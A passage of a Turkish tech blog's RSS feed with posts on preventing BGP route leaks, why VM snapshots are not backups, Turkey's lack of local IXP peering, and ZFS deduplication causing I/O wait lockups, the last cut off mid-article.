   - Çıkış filtresine yalnızca ve yalnızca size ait olan IP blokları tek tek yazılır:
     `set policy-options prefix-list MY-NETWORKS 185.120.45.0/24`

3. Max-Prefix Koruması:
   - Komşunuz olan operatöre şu emri verin:
     "Eğer benden 10 adetten fazla prefix anonsu gelirse, BGP oturumunu ANINDA KAPAT!"
   - Yanlışlıkla tüm internet tablosunu sızdırsanız bile 11. rotada bağlantı kesilir
     ve dünya felaketten korunur.
</code></pre>
<h2>Sonuç</h2>
<p>Hava trafik kulesindeki tek bir yanlış koordinat yüzlerce uçağı okyanusun ortasında kaybettirir; BGP yönlendiricisindeki tek bir hatalı prefix anonsu da binlerce sunucuyu küresel internetin haritasından silip karadeliğe gömer.</p>
<p>Ağ mühendisliği bir metin düzenleme işi değil; küresel internet diplomasisinin en hassas ameliyat masasıdır. BGP konsoluna her oturduğunuzda parmaklarınızın altındaki o yönlendiricinin dünyadaki binlerce otonom sistemle konuştuğunu unutmayın. RPKI filtrelerinizi kilitleyin, prefix listelerinizi çift kontrol edin; tek bir dikkatsiz "commit" ile veri merkezinizi dijital bir mezarlığa çevirmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>BGP</category>
            <category>Ağ Yönetimi</category>
            <category>Route Leak</category>
            <category>BGP Hijacking</category>
            <category>Cisco</category>
            <category>Juniper</category>
            <category>İnternet Kesintisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bgp-yanlis-route-anonsu-tum-sunuculari-karadelige-atmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yerli Bulutta 'Snapshot'ı Yedek Sanma Faciası: Masadaki Küller]]></title>
            <link>http://localhost:3000/blog/post/yerli-bulutta-snapshoti-yedek-sanma-faciasi-masadaki-kuller</link>
            <guid>yerli-bulutta-snapshoti-yedek-sanma-faciasi-masadaki-kuller</guid>
            <pubDate>Fri, 12 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Sanal sunucuda (VDS) 'Take Snapshot' butonuna basıp arkasına yaslanan ve ana depolama havuzu (Ceph / SAN) çöktüğünde snapshot'ların da ana veriyle birlikte buharlaştığını öğrenen ekipler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yerli-bulutta-snapshoti-yedek-sanma-faciasi-masadaki-kuller/thumbnail" alt=""> Kritik bir kalp ameliyatına giren bir cerrahın masadaki hastanın EKG monitörünün, tansiyon eğrisinin ve açık göğüs kafesinin cep telefonuyla yüksek çözünürlüklü bir fotoğrafını (Snapshot) çektiğini düşünün. Cerrah arkasına yaslanır ve asistanına gururla şunu söyler: <em>"Hastanın tam bir anlık kopyasını (snapshot) aldım. Artık hiçbir şeyden korkmamıza gerek yok; hasta masada ölse bile bu fotoğraf elimizde olduğu sürece her şey güvendedir!"</em> Bir saat sonra hastanın ana damarı patlayıp hasta masada kardiyak arrest geçirdiğinde cerrah cep telefonunu çıkarır, fotoğrafı ölmekte olan hastanın yüzüne tutar ve hastanın ayağa kalkmasını bekler! Elbette hasta canlanmaz ve ölür; çünkü bir anlık fotoğraf, yaşayan bir organın yedeği değildir. Fotoğraf sadece o milisaniyedeki durumun statik bir gölgesidir; ana beden öldüğünde o gölgenin tek başına hiçbir hükmü kalmaz.</p>
<p>Sistem mühendisliğinde ve bulut altyapılarında her genç geliştiricinin kariyerinde en az bir kez düştüğü o ölümcül yanılgı tam olarak budur:<br>
<strong>"Snapshot (Anlık Görüntü) almak bir YEDEKLEME değildir!"</strong></p>
<p>Bulut yönetim panelinde (Proxmox, VMware vCenter, OpenStack) tek bir tıkla <em>"Take Snapshot"</em> butonuna basan ve "Artık yedeğim var, veritabanım güvende" diyerek mışıl mışıl uyuyan mühendislerin, ana depolama havuzu (SAN / Ceph / ZFS) çöktüğü sabah yaşadıkları uyanış, bilişim dünyasının en acı tecrübelerinden biridir.</p>
<hr>
<h2>Snapshot Nedir ve Dosya Sisteminde Nasıl Çalışır?</h2>
<p>Birçok acemi yönetici "Snapshot" aldığında, hipervizörün o 100 GB'lık diskin tam bir fiziksel kopyasını alıp başka bir kasaya kaldırdığını zanneder. Oysa gerçekte olan şey sadece bir <strong>İşaretçi (Pointer) Hilesidir.</strong></p>
<p>KVM (QCOW2), VMware (VMDK) veya Ceph RBD üzerinde bir Snapshot aldığınızda işletim sistemi şunları yapar:</p>
<ol>
<li>O ana kadar yazılmış olan ana disk imajını salt-okunur (Read-Only) olarak dondurur.</li>
<li>Sisteme <strong>Copy-on-Write (CoW)</strong> veya <strong>Redirect-on-Write</strong> mekanizmasıyla çalışan minik bir delta (fark) dosyası ekler.</li>
<li>O andan itibaren sanal makinenin yaptığı tüm yeni yazma işlemleri bu delta dosyasına yazılır.</li>
</ol>
<pre><code>+------------------------------------------------------------------------+
|                          SNAPSHOT MİMARİSİ                             |
|                                                                        |
|  [Ana Disk İmajı: base.qcow2 (100 GB)] &#x3C;─── DONDURULDU (Read-Only)     |
|               │                                                        |
|               ▼ Bağımlılık Zinciri ⛓️                                    |
|  [Delta Dosyası: snap1.delta (2 GB)]   &#x3C;─── YALNIZCA DEĞİŞEN BLOKLAR!  |
|                                                                        |
|  AYNI FİZİKSEL DEPOLAMA HAVUZUNDA (Ceph Pool / SAN LUN) YAŞARLAR!      |
+------------------------------------------------------------------------+
</code></pre>
<p>Snapshot bağımsız bir varlık değildir! Snapshot, altındaki ana disk bloğuna <strong>göbekten bağımlı kırılgan bir uzantıdır.</strong><br>
Eğer ana disk bloğu bozulursa, Snapshot anlamsız bir çöp yığınına dönüşür.</p>
<hr>
<h2>Patolojinin Gelişimi: Ana Depolama Havuzu Çöktüğünde Ne Olur?</h2>
<p>Bir Cuma gecesi yerli bulut sağlayıcısının veya kendi şirketinizin ana depolama havuzunda (SAN Storage / Ceph Kümesi) donanımsal bir felaket yaşanır:</p>
<ul>
<li>3 adet kontrolcü diski aynı anda ölür.</li>
<li>Ceph OSD düğümleri senkronizasyonunu kaybedip döngüsel kilitlenmeye (split-brain) girer.</li>
<li>Sanal makinelerin barındığı <code>/dev/mapper/storage-pool</code> tamamen silinir veya dosya sistemi geri dönülemez şekilde bozulur (<code>Metadata corruption</code>).</li>
</ul>
<p>Mühendis panikle sağlayıcıya yazar:<br>
<em>"Ana diskler bozulmuş olabilir ama benim panelde dün akşam aldığım 3 adet Snapshot'ım vardı! Lütfen Snapshot'ımdan sunucumu geri dönün (Revert to Snapshot)!"</em></p>
<p>Sağlayıcının sistem mimarı acı gerçeği açıklar:<br>
<em>"Ahmet Bey, Snapshot'larınız başka bir fiziksel sunucuda veya harici bir kasada saklanmıyordu. Snapshot'larınız da o çöken ana depolama havuzunun içindeki delta bloklarıydı. Ana havuz öldüğü için ana disklerinizle birlikte tüm snapshot'larınız da kalıcı olarak silindi ve yok oldu."</em></p>
<p>Mühendisin dünyası başına yıkılır: "Yedek aldım" zannettiği şey, sadece batmakta olan geminin güvertesine çizilmiş tebeşir resmidir; gemi battığında tebeşir de suyun dibine gömülmüştür.</p>
<hr>
<h2>Snapshot'ın İkinci Tehlikesi: Sunucuyu Yavaşlatan Canavar</h2>
<p>Snapshot'ı yedek zanneden kullanıcıların yaptığı ikinci vahim hata, aldıkları Snapshot'ı aylarca silmeden sunucuda unutmaktır:</p>
<ul>
<li>Geliştirici 6 ay önce "Sistem güncellemesi öncesi" bir snapshot almıştır.</li>
<li>Aradan 6 ay geçmiştir; o snapshot hala oradadır.</li>
</ul>
<p>Peki arka planda ne olmuştur?</p>
<ul>
<li>Delta dosyası 6 ay içinde 80 Gigabayta ulaşmıştır!</li>
<li>Sanal makine diskten bir veri okumak istediğinde, hipervizör önce delta dosyasına bakar, bulamazsa ana dosyaya bakar, oradan oraya zıplar (Chain Traversal).</li>
<li>Disk gecikmesi (I/O Latency) 2 milisaniyeden <strong>85 milisaniyeye fırlar!</strong></li>
<li>Sunucu donmaya başlar; geliştirici ise "Bu sunucu neden yavaşladı" diye ağlar.</li>
</ul>
<p>En sonunda snapshot'ı silmek (Consolidate / Merge) istediğinizde, hipervizör 80 GB'lık delta dosyasını ana diske yazmak için diski saatlerce %100 yük altına sokar ve canlı e-ticaret sitenizi saatlerce kilitler!</p>
<hr>
<h2>Gerçek Yedekleme Nedir? (3-2-1 Kuralının Tavizsiz Disiplini)</h2>
<p>Sistem mühendisliğinde bir verinin "yedeklenmiş" sayılabilmesi için <strong>3-2-1 Yedekleme Kuralına</strong> uyması şarttır:</p>
<pre><code>[3-2-1 YEDEKLEME KANUNU]

3: Verinin en az 3 KOPYASI olmalıdır (1 Canlı + 2 Yedek).
2: Bu kopyalar en az 2 FARKLI MEDYA türünde saklanmalıdır (SSD + Nesne Depolama / Teyp).
1: Kopyalardan EN AZ 1 TANESİ FARKLI BİR COĞRAFİ KONUMDA (Off-site) olmalıdır!
</code></pre>
<p>Eğer aldığınız kopya:</p>
<ul>
<li>Aynı sunucunun içindeyse,</li>
<li>Aynı veri merkezinin aynı depolama havuzundaysa,</li>
<li>Ana sunucu kapandığında tek başına bağımsız olarak ayağa kaldırılamıyorsa;</li>
</ul>
<p><strong>O BİR YEDEK DEĞİLDİR.</strong> O sadece geçici bir geri dönüş noktasıdır (Restore Point).</p>
<hr>
<h2>Snapshot Ne Zaman Kullanılır? (Doğru Cerrahi Reçete)</h2>
<p>Peki Snapshot tamamen gereksiz bir teknoloji midir? Kesinlikle hayır. Snapshot harika bir <strong>kısa vadeli güvenlik kemeridir:</strong></p>
<ul>
<li><strong>Kullanım Amacı:</strong> Canlı sistemde riskli bir işlem yapacaksınızdır (Örn: Ubuntu 22.04 -> 24.04 OS yükseltmesi veya büyük bir veritabanı migration'ı).</li>
<li><strong>Adım 1:</strong> Snapshot alırsınız.</li>
<li><strong>Adım 2:</strong> Güncellemeyi yaparsınız.</li>
<li><strong>Adım 3 (Test):</strong> Sistem çalıştıysa, <strong>SNAPSHOT'I HEMEN O AN SİLERSİNİZ (Merge)!</strong></li>
<li><strong>Adım 3 (Hata):</strong> Sistem çöktüyse, 10 saniyede <code>Revert</code> edip eski haline dönersiniz.</li>
<li><strong>Kural:</strong> Bir Snapshot'ın ömrü en fazla <strong>24 saat</strong> olmalıdır! 24 saatten uzun yaşayan her snapshot, sisteme saplanmış bir hançerdir.</li>
</ul>
<h3>Gerçek ve Bağımsız Yedekleme Nasıl Yapılır?</h3>
<pre><code class="language-bash"># Snapshot'a güvenmeyin! Veritabanını bağımsız bir arşive dökün:
mysqldump -u root -p --single-transaction --quick db_adi | gzip > /tmp/db_$(date +%F).sql.gz

# Bu dosyayı FARKLI BİR VERİ MERKEZİNDEKİ S3/MinIO havuzuna fırlatın:
aws --endpoint-url https://izmir-storage.yerlibulut.com s3 cp /tmp/db_*.sql.gz s3://bagimsiz-yedek/
</code></pre>
<p>Bu dosya artık ana sunucudan, ana depolama havuzundan ve o veri merkezinden tamamen bağımsızdır. Veri merkezi yansa bile veriniz İzmir'deki başka bir depolama ünitesinde güvendedir.</p>
<h2>Sonuç</h2>
<p>Monitörün fotoğrafını çekip hastayı kurtardığını sanan cerrah cinayet işlemiştir; Snapshot alıp tüm şirketin yedeğini aldığını sanan sistem mühendisi de şirketin geleceğini ateşe atmıştır.</p>
<p>Snapshot bir ameliyat sırasında elinizin altında tuttuğunuz geçici bir hemostatik pens gibidir; işiniz bittiğinde pensi gevşetip yarayı kapatmak zorundasınız. Kalıcı şifa pens takmakta değil, organı tedavi edip güvenli bir odaya taşımaktadır. Altyapınızı snapshot yanılgısına kurban etmeyin; gerçek yedeklerinizi bağımsız havuzlara, farklı coğrafyalara taşıyın ve kriz anında masada sadece küllerle baş başa kalmayın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Snapshot</category>
            <category>Yedekleme</category>
            <category>VDS</category>
            <category>Ceph</category>
            <category>SAN</category>
            <category>Veri Kaybı</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yerli-bulutta-snapshoti-yedek-sanma-faciasi-masadaki-kuller/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Bölgesel Erişim Savaşları: Türkiye'de Yerel IXP Eksikliği ve Frankfurt Turu]]></title>
            <link>http://localhost:3000/blog/post/bolgesel-erisim-savaslari-turkiyede-yerel-ixp-eksikligi-ve-frankfurt-turu</link>
            <guid>bolgesel-erisim-savaslari-turkiyede-yerel-ixp-eksikligi-ve-frankfurt-turu</guid>
            <pubDate>Thu, 11 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Kadıköy'deki Türk Telekom abonesinin Gayrettepe'deki Turkcell sunucusuna bağlanmak için verisinin Bulgaristan ve Frankfurt üzerinden 60 ms dolaşıp geri gelmesi: İnternet Değişim Noktası (IXP) çıkmazı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bolgesel-erisim-savaslari-turkiyede-yerel-ixp-eksikligi-ve-frankfurt-turu/thumbnail" alt=""> Aynı hastanenin aynı cerrahi koridorunda, yan yana iki bağımsız ameliyathanede ameliyat yapan iki uzman hekimi düşünün. Sol ameliyathanedeki hekimin hastasında beklenmedik bir arteriyel kanama başlar ve sağ ameliyathanedeki meslektaşından acil özel bir vasküler klempi (damar pensi) rica eder. İki cerrah arasındaki fiziksel mesafe sadece 4 metredir; kapıyı aralayıp pensi elden uzatmak 2 saniye sürer. Ancak hastanenin bürokratik tüzüğü der ki: <em>"Odalar arası doğrudan malzeme transferi yasaktır! Klempi steril koliye koyacaksınız, kuryeye vereceksiniz. Kurye uçağa binip klempi Almanya'nın Frankfurt şehrindeki merkezi lojistik gümrüğüne götürecek, orada onaylatacak ve tekrar uçakla yan odaya getirecektir!"</em> Pens 18 saat sonra Frankfurt aktarmasından geri geldiğinde, masadaki hasta saatler önce kan kaybından ölmüştür. Yan yana duran iki uzmanın birbiriyle konuşmak için kıtalararası tur atması, aklın ve tıbbi mantığın iflas ettiği absürt bir bürokratik tiyatrodur.</p>
<p>Türkiye'nin internet altyapısında ve telekomünikasyon politikalarında yıllardır süregelen <strong>"Yerel İnternet Değişim Noktası (IXP - Internet Exchange Point) Eksikliği"</strong>, tam olarak bu ameliyathane koridorundaki Frankfurt turunun ta kendisidir.</p>
<p>Kadıköy'de oturan bir ev kullanıcısının, Gayrettepe'deki yerli bir veri merkezinde barınan e-ticaret sitesine bağlanmak istediğinde; verisinin İstanbul'dan çıkıp Sofya, Viyana ve Frankfurt'a gidip oradaki DE-CIX omurgasından dönerek tekrar İstanbul'a gelmesi ve 2 milisaniyelik yolun <strong>65 milisaniyeye uzaması</strong>, Türkiye bilişim tarihinin en acı trajedilerinden biridir.</p>
<hr>
<h2>IXP (Internet Exchange Point) Nedir ve Neden Hayatidir?</h2>
<p>İnternet, adından da anlaşılacağı gibi "Ağların Ağıdır" (Inter-connected Networks).</p>
<p>Bir ülkede internetin hızlı, ucuz ve bağımsız olabilmesi için o ülkedeki operatörlerin (Türk Telekom, Turkcell Superonline, Vodafone, Türksat, yerel internet servis sağlayıcıları ve veri merkezleri) kendi aralarındaki trafiği <strong>ülke sınırları içinde doğrudan takas edebileceği (Peering)</strong> tarafsız değişim noktalarına (IXP) ihtiyaç vardır.</p>
<pre><code>+------------------------------------------------------------------------+
|                          İDEAL DÜNYA (Yerel IXP Mimarisi)              |
|                                                                        |
|  [Kullanıcı: Kadıköy (Türk Telekom)]                                   |
|                │ 1 ms                                                  |
|                ▼                                                       |
|  [İSTANBUL İNTERNET DEĞİŞİM NOKTASI (IXP)]                             |
|                │ 1 ms                                                  |
|                ▼                                                       |
|  [Sunucu: Gayrettepe (Superonline / Veri Merkezi)]                    |
|                                                                        |
|  TOPLAM GECİKME (LATENCY): 2 Milisaniye! (Veri Türkiye'de Kaldı!) 🟢    |
+------------------------------------------------------------------------+
</code></pre>
<p>Peki Türkiye'deki fiili durum nasıldır?</p>
<hr>
<h2>Tekel Savaşları ve Frankfurt Detour (Dolaşma) Felaketi</h2>
<p>Türkiye'de yerleşik büyük telekomünikasyon operatörleri (özellikle pazar liderleri), küçük operatörler veya rakipleriyle "eşit şartlarda ve ücretsiz" trafik takası (Settlement-Free Peering) yapmaya yanaşmazlar.</p>
<ul>
<li><em>"Sen benim rakibimsin, benim altyapım daha büyük. Neden seninle trafiğimi bedava değiş tokuş edeyim? Benimle konuşmak istiyorsan benden fahiş fiyatla toptan hat kiralayacaksın!"</em></li>
</ul>
<p>Bu ticari ego ve tekelci refleks yüzünden operatörler İstanbul'da yan yana duran binalarına doğrudan tek bir fiber kablo çekip el sıkışmazlar.</p>
<p>Sonuçta ne olur? BGP protokolü fizik kurallarını işletir:<br>
İki operatörün kesiştiği en yakın ortak nokta neresidir? <strong>Almanya'nın Frankfurt şehrindeki DE-CIX değişim noktası!</strong></p>
<pre><code>+------------------------------------------------------------------------+
|                  TÜRKİYE GERÇEĞİ: FRANKFURT TURU                       |
|                                                                        |
|  [Kullanıcı: Kadıköy (Türk Telekom)]                                   |
|                │                                                       |
|                ▼ [Sınır Kapısı: Edirne / Kapıkule]                     |
|  [Bulgaristan ──► Sırbistan ──► Macaristan ──► Avusturya]             |
|                │                                                       |
|                ▼                                                       |
|  [FRANKFURT DE-CIX OMURGASI (Almanya)]                                 |
|                │ (İki Türk Operatörü Burada Nihayet El Sıkışır!)       |
|                ▼                                                       |
|  [Avusturya ──► Macaristan ──► Sırbistan ──► Bulgaristan]             |
|                │                                                       |
|                ▼ [Giriş: Kapıkule]                                     |
|  [Sunucu: Gayrettepe (Turkcell Superonline)]                           |
|                                                                        |
|  TOPLAM MESAFE : 4.800 Kilometre!                                      |
|  TOPLAM GECİKME: 65 - 80 Milisaniye! 🔴                                |
+------------------------------------------------------------------------+
</code></pre>
<p>İstanbul'dan çıkan veri paketi 4.800 kilometre yol kateder, Avrupa'yı baştan başa dolaşır ve tekrar İstanbul'a döner!</p>
<hr>
<h2>Patolojinin Faturası: Kime Ne Oluyor?</h2>
<p>Bu akıl almaz dolaşmanın Türk bilişim sektörüne faturası çok ağırdır:</p>
<ol>
<li><strong>Yüksek Gecikme (Latency) ve Donan Siteler:</strong><br>
İki sokak ötedeki sunucudan veri çeken bir e-ticaret kullanıcısı, sanki bir Amerikan sitesine bağlanıyormuş gibi 70 ms gecikmeyle karşılaşır. Canlı yayınlar donar, online oyunlarda (Valorant, CS2) pingler fırlar.</li>
<li><strong>Milli Servet Kaybı (Dövizle Trafik Satın Almak):</strong><br>
Türkiye içindeki iki kullanıcının trafiği yurtdışına çıktığı için, Türk operatörler uluslararası Tier-1 taşıyıcılara (Telia, Lumen, Cogent) her ay milyonlarca Euro <strong>Transit IP ücreti</strong> öder! Kendi aralarında bedava halledebilecekleri bir veri için Avrupa'ya döviz akıtılır.</li>
<li><strong>Milli Güvenlik ve Siber İstihbarat Açığı:</strong><br>
Türkiye Cumhuriyeti vatandaşlarının kendi arasındaki yerel bankacılık, sağlık ve e-ticaret trafiği fiziksel olarak Avrupa ülkelerinin topraklarından geçer! Yabancı istihbarat servislerinin (BND, GCHQ) deniz altı ve karasal kablolar üzerindeki dinleme istasyonları (Tap noktaları), Türkiye'nin iç trafiğini kendi topraklarındaymış gibi izleme imkanına kavuşur.</li>
</ol>
<hr>
<h2>DE-CIX İstanbul ve Yerli Direniş</h2>
<p>2015 yılında dünyanın en büyük internet değişim operatörü olan <strong>DE-CIX</strong>, bu anomaliden kurtulmak için İstanbul'da bağımsız bir internet değişim noktası (<strong>DE-CIX Istanbul</strong>) kurdu.</p>
<ul>
<li>Birçok bağımsız veri merkezi, içerik sağlayıcı (Google, Netflix, Cloudflare) ve alternatif operatör bu noktaya bağlandı.</li>
<li>Trafiğini burada takas eden sistemlerde gecikmeler anında <strong>2 milisaniyeye</strong> düştü!</li>
</ul>
<p>Ancak Türkiye'nin yerleşik dev tekeli, pazar hakimiyetini kaybetmemek adına yıllarca bu tarafsız değişim noktasına tam kapasiteyle bağlanmayı reddetti. Yerel pazarın büyümesi yerine küçük oyuncuların nefesini kesme stratejisi tercih edildi.</p>
<hr>
<h2>Bir Ülkenin Dijital Geleceği: IXP Bir Tercih Değil, Zorunluluktur</h2>
<p>Dünyada internetin başkenti sayılan Amsterdam (AMS-IX), Frankfurt (DE-CIX) veya Londra (LINX); bu başarıyı devasa binalarla değil, yüzlerce operatörün tarafsız masalarda bir araya gelip trafiği yerelde tutmasıyla elde etmiştir.</p>
<p>Türkiye'nin bölgesel bir teknoloji ve veri merkezi üssü olabilmesi için:</p>
<ul>
<li>Telekomünikasyon düzenleyici kurumu (BTK), operatörlerin yerel internet değişim noktalarına (IXP) <strong>karşılıksız ve zorunlu olarak bağlanmasını (Mandatory Local Peering)</strong> regülasyonla şart koşmalıdır.</li>
<li>İstanbul, Ankara ve İzmir'de bağımsız kamu-özel ortaklı IXP merkezleri güçlendirilmelidir.</li>
<li>Verinin Türkiye sınırları içinde doğup, Türkiye sınırları içinde tüketilmesi bir milli güvenlik doktrini haline getirilmelidir.</li>
</ul>
<h2>Sonuç</h2>
<p>Yan odadaki meslektaşına ameliyat pensi uzatmak için paketi Frankfurt'a uçuran cerrah hastayı nasıl feda ettiyse; yan sokaktaki sunucuya ulaşmak için Türk vatandaşının verisini Avrupa'da dolaştıran telekomünikasyon politikası da Türkiye'nin dijital ekonomisini öyle rehin tutar.</p>
<p>İnternet iş birliğiyle büyür, paylaşımla hızlanır. Kendi iç pazarında rekabeti küçük hesaplarla boğanlar, küresel arenada yabancı devlerin veri sömürgesi olmaktan kurtulamazlar. Verimizi kendi topraklarımızda, yerel değişim noktalarında tutmak zorundayız; çünkü geciken her milisaniye, sadece yavaşlayan bir web sayfası değil; kaybedilen milli servet ve egemenliktir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>IXP</category>
            <category>Peering</category>
            <category>BGP</category>
            <category>DE-CIX</category>
            <category>Telekomünikasyon</category>
            <category>Latency</category>
            <category>Türkiye</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bolgesel-erisim-savaslari-turkiyede-yerel-ixp-eksikligi-ve-frankfurt-turu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Depolama Havuzunda Deduplication Çöküşü ve I/O Wait Kilitlenmesi]]></title>
            <link>http://localhost:3000/blog/post/depolama-havuzunda-deduplication-cokusu-ve-io-wait-kilitlenmesi</link>
            <guid>depolama-havuzunda-deduplication-cokusu-ve-io-wait-kilitlenmesi</guid>
            <pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Disk bütçesinden tasarruf etmek için SAN/NAS veya ZFS havuzlarında agresif Deduplication (Tekilleştirme) açan ve RAM doyuma ulaştığında tüm sunucuların %95 I/O Wait ile donduğu o an.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/depolama-havuzunda-deduplication-cokusu-ve-io-wait-kilitlenmesi/thumbnail" alt=""> Hastanenin merkezi patoloji ve kan tahlil laboratuvarında her gün binlerce kan ve doku numunesi tüpünün geldiğini düşünün. Laboratuvar rafları tüplerle dolmaya başlar. Laboratuvar şefi, yeni raf ve buzdolabı satın almak yerine "harika bir kimyasal optimizasyon" fikri bulur: <em>"Aynı kan grubundan ve benzer biyokimyasal özelliklere sahip tüpleri tek tek saklamayalım; hepsini tek bir dev kazana boşaltıp moleküler düzeyde tekilleştirelim (Deduplication)! Raf alanından %80 tasarruf ederiz! Bir hastaya tahlil sonucu gerekeceği zaman kazandaki devasa santrifüj ve ayrıştırıcı robotu çalıştırırız, o molekülü kazandan cımbızla geri çekeriz!"</em> Sistem ilk 100 tüpte harika gibi görünür. Ancak numune sayısı 50 bine ulaştığında o santrifüj robotunun işlemcisi ve motorları devasa moleküler karmaşayı hesaplayamaz hale gelir. Cihaz aşırı ısınır, dumanlar çıkar ve kilitlenir! Acil ameliyattaki bir cerrah hastanın basit bir hemoglobin sonucunu ister; ancak santrifüj kilitlendiği için 6 saat boyunca tek bir damla kan bile kazandan çıkarılamaz. Hasta masada ölürken, şefin "Ama raflarımızda %80 boş yer kalmıştı" diye sevinmesi bir tıp cinayetidir.</p>
<p>Kurumsal veri depolama ünitelerinde (SAN / NAS / All-Flash Storage) veya modern dosya sistemlerinde (ZFS, Ceph, Btrfs) <strong>Deduplication (Veri Tekilleştirme)</strong> teknolojisini hesap kitap yapmadan, kontrolsüzce devreye sokan sistem mimarlarının yaşadığı çöküş, tam olarak bu santrifüjün patlamasıdır.</p>
<hr>
<h2>Deduplication Nedir ve Hangi Vaatle Satılır?</h2>
<p>Depolama donanımları (Enterprise NVMe ve SSD'ler) son derece pahalıdır.<br>
Veri merkezinde çalışan 500 adet sanal sunucunun işletim sistemlerine baktığınızda devasa bir veri tekrarı görürsünüz:</p>
<ul>
<li>500 sunucunun hepsinde aynı <code>glibc</code> kütüphanesi, aynı Linux çekirdeği, aynı Windows <code>system32</code> DLL dosyaları kopyalanmıştır.</li>
<li>500 adet 20 GB'lık işletim sistemi: <strong>10 Terabayt</strong> yer kaplar.</li>
</ul>
<p>İşte depolama üreticileri (NetApp, Dell EMC, Pure Storage) ve ZFS geliştiricileri bu noktada muazzam bir matematiksel vaat sunar: <strong>Deduplication (Tekilleştirme).</strong></p>
<p>Sistem yazılan her bir veri bloğunun (örneğin 4 KB veya 128 KB) kriptografik bir özetini (SHA-256 Hash) çıkarır:</p>
<ul>
<li>Eğer bu blok diskte daha önce yazılmışsa, diske fiziksel olarak YENİDEN YAZMAZ!</li>
<li>Sadece eski bloğun adresini işaret eden bir işaretçi (pointer) koyar.</li>
<li>10 TB'lık veri, diskte fiziksel olarak <strong>500 GB'a kadar sıkışabilir (20:1 Oranı!).</strong></li>
</ul>
<p>Sistem yöneticisi ellerini ovuşturur: <em>"Milyonlarca lira harcamaktan kurtulduk, disk kapasitemizi sihirli bir şekilde 10 katına çıkardık!"</em></p>
<p>Oysa şeytan, o blokların özetlerinin nerede saklandığında gizlidir.</p>
<hr>
<h2>Gizli Canavar: DDT (Deduplication Table) ve RAM İşkencesi</h2>
<p>Bir blok yazılacağı zaman, depolama denetleyicisinin (Storage Controller) o bloğun daha önce yazılıp yazılmadığını anlaması için elindeki devasa haritayı kontrol etmesi şarttır.<br>
Bu haritaya ZFS dünyasında <strong>DDT (Deduplication Table / Tekilleştirme Tablosu)</strong> denir.</p>
<p>Kural son derece katıdır:<br>
<strong>DDT haritası MUTLAKA VE KESİNLİKLE fiziksel RAM'de (Bellekte) yaşamak zorundadır!</strong></p>
<p>Neden? Çünkü bir diske saniyede 10.000 rastgele I/O işlemi (IOPS) geliyorsa, her yazma işleminde o tablonun mikrosaniyeler içinde RAM'den okunması gerekir.</p>
<p>Matematiksel faturaya bakalım:</p>
<ul>
<li>ZFS'te tekilleştirilen her 1 Terabaytlık veri için DDT tablosu yaklaşık <strong>5 ila 6 GB saf ECC RAM</strong> tüketir!</li>
<li>50 Terabaytlık bir depolama havuzunu tekilleştirmeye kalktığınızda, DDT tablosunun boyutu <strong>300 GB RAM'i aşar!</strong></li>
</ul>
<pre><code>+------------------------------------------------------------------------+
|                      DDT RAM BOĞULMASI SENARYOSU                       |
|                                                                        |
|  Depolama Denetleyicisi (SAN Controller) RAM'i: 128 GB                 |
|  DDT Tablosunun Boyutu                         : 160 GB! (RAM YETMEDİ!)|
|                                                                        |
|  SONUÇ: DDT tablosu RAM'e sığmaz ve DİSKE TAŞAR (Paging / Spill)!       |
+------------------------------------------------------------------------+
</code></pre>
<p>Ve o gün, DDT tablosu fiziksel RAM'den diske taştığı milisaniyede, depolama ünitesinin kalbine ölümcül kurşun sıkılır.</p>
<hr>
<h2>Patolojinin Gelişimi: %95 I/O Wait ve Felç Olan Veri Merkezi</h2>
<p>DDT diske taştığında ne olur?</p>
<ol>
<li><strong>Yazma Hızı Çakılır:</strong><br>
Sunucu diske 1 blokluk basit bir veri yazmak ister.<br>
Depolama denetleyicisi bu blok daha önce var mı diye DDT tablosuna bakacaktır; ancak tablo disktedir!<br>
Tek bir bloğu yazabilmek için diskten 5 kez DDT parçası okumak zorunda kalır!<br>
<strong>Yazma gecikmesi 1 milisaniyeden 120 milisaniyeye fırlar!</strong></li>
<li><strong>I/O Wait Tsunamisi:</strong><br>
Depolama havuzuna bağlı olan 200 adet sanal sunucunun (VDS) disk yazma kuyrukları kilitlenir.<br>
Tüm sunucuların <code>top</code> ekranında <strong><code>%wa (iowait)</code></strong> değeri <strong>%90 - %99</strong> seviyesine vurur!<br>
İşlemciler çalışamaz; çünkü diskten yanıt gelmesini beklemektedirler.</li>
<li><strong>Domino Çöküşü:</strong><br>
Veritabanları transaction loglarını diske yazamaz (<code>fsync timed out</code>).<br>
Nginx upstream kuyrukları dolar (<code>504 Gateway Time-out</code>).<br>
Mühendisler SSH ile sunuculara bağlanamaz; çünkü terminal oturumu açmak için <code>/bin/bash</code> dosyasını diskten okumak bile 40 saniye sürmektedir!</li>
</ol>
<p>Tüm veri merkezi, tek bir düğümün aşırı hırsı yüzünden kaskatı donar kalır.</p>
<hr>
<h2>Geri Dönüşsüzlük Tuzağı: "Deduplication'ı Kapatın!" Nafileliği</h2>
<p>Panikleyen sistem yöneticisi depolama paneline koşar:</p>
<pre><code class="language-bash"># ZFS'te Deduplication'ı kapatma komutu:
zfs set dedup=off tank/data
</code></pre>
<p>Mühendis rahat bir nefes alacağını sanır: <em>"Tamam, tekilleştirmeyi kapattım, her şey düzelecek."</em></p>
<p><strong>HAYIR! DÜZELMEZ!</strong><br>
<code>dedup=off</code> demek sadece bundan sonra yazılacak YENİ blokların tekilleştirilmeyeceği anlamına gelir!<br>
